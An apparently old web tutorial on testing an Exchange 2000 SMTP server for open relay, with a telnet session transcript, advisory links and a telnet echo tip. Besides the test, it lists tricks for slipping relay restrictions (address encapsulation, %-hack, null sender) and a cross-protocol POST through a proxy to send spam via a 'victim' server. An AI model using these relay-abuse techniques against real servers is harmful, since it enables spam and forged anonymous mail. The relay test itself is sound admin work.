If your SMTP
server accepts incoming TCP connections from the Internet, your server can
be used by spammers as a mail relay engine. Mail relays can distribute their
messages (SPAM) all over the world using your server as an open relay.
To test for open relay telnet into your mail server by using
telnet 192.168.1.1 25 It takes a bit getting used to as the key
strokes are not echo'd back to you. (See Note at the bottom) If
you get it wrong the server will spit at you. Your input in White and
Server Responses in Red.
220 mail.Yourserver.net
Microsoft ESMTP MAIL Service, Version: 5.0.219 5.4905 ready at Thu, 30
May 2002 21:26:22 +1200
HELO
250 mail.Yourserver.net Hello
[192.168.1.2]
MAIL FROM:test@test.com 250 2.1.0 test@test.com....Sender OK
RCPT TO:someone@somewhere.com 250 2.1.5 someone@somewhere.com
DATA 354 Start mail
input; end with .
From: whoever@wherever.com (Name)
To: someone@somewhere.com
Subject: Whatever
Reply-To: whoever@wherever.com
Your message....
. 250 2.6.0
Queued mail for
delivery
QUIT 221 2.0.0
mail.Yourserver.net Service closing transmission
channel
Connection to host lost.
|
And there you go, you've just sent a anonymous e-mail using open
relay.
Some systems require you to enclose e-mail address's with < >,
If you get a message similar to the one below after typing RCPT TO:
address:
550 5.7.1 Unable to relay for someone@somewhere.com
The mail server does not allow open relay and won't forward Spam all over
the net.
You could try to encapsulate commands to fool unpatched servers with the
following command:
RCPT TO: IMCEASMTP-test+40test+2Whoever@wherever.com
Some tricks that you might want to try:
- Use a blank or null From address
- Replace the @ with a % sign e.g.: RCPT TO:someone%somewhere.com
- Use IP addresses of local Server, MAIL FROM:whoever@192.168.1.1
- Encapsulate the address in quotations, MAIL FROM: whoever@192.168.1.1
You can try to make a POST request via a proxy server:
POST http://victim:25/
HTTP/1.1 Host:
victim (empty
line) HELO
spammer MAIL FROM:
<..> RCPT TO:
<..>
DATA
spam . The SMTP-server will
most likely complain about unsupported SMTP-commands "POST", "Host:",
"X-Forwarded-For" and so on, but many will just silently accept the junkmail
after these commands.
You can also pop a text file in the mail pick up directory. The
SMTP server will grab the file and deliver it for you. This can be done via
a batch file and is a easy way to send automated e-mail alerts
By default the MS Exchange 2000 Server pickup Directory is located
in: C:\Program Files\Exchsrvr\Mailroot\vsi
1\PickUp
The file should be saved without any extensions and formatted as
follows:
x-sender: Alert@email.net x-receiver: info@domain.net From:
Alert@email.net To: info@domain.net Subject: Test Email
This is
a test. |
Advisories / Reference: http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/security/bulletin/ms99-027.asp http://support.microsoft.com/default.aspx?scid=kb;EN-US;q304897 http://support.microsoft.com/default.aspx?scid=kb;EN-US;q310380
Setting Up SMTP Domains for Inbound and Relay E-Mail in
Exchange 2000 Server "This article describes how to set up Simple
Mail Transfer Protocol (SMTP) domains for inbound and relay e-mail in
Exchange 2000 Server."
How to Configure the SMTP Connector in Exchange
2000 "In Exchange 2000, the Simple Mail Transfer Protocol (SMTP)
connector replaces the Internet Mail Service in earlier versions of Exchange
Server. This article explains how to configure the SMTP connector.
"
How to Receive Messages for Two SMTP Domains Using Exchange
2000 "How to receive messages from two Simple Mail Transfer Protocol
(SMTP) domains in Exchange 2000. For example, you can use the procedure
described in this article if you change your organization name from companya
to companyb, and you use companyb.com as your SMTP domain name instead of
companya.com."
Notes: Use The Following to turn on local
echo on a Windows 2000 Telnet Session
- Start a Telnet session from the command prompt
- Enter Command set local_echo
Thanks to Open7 for the tip. |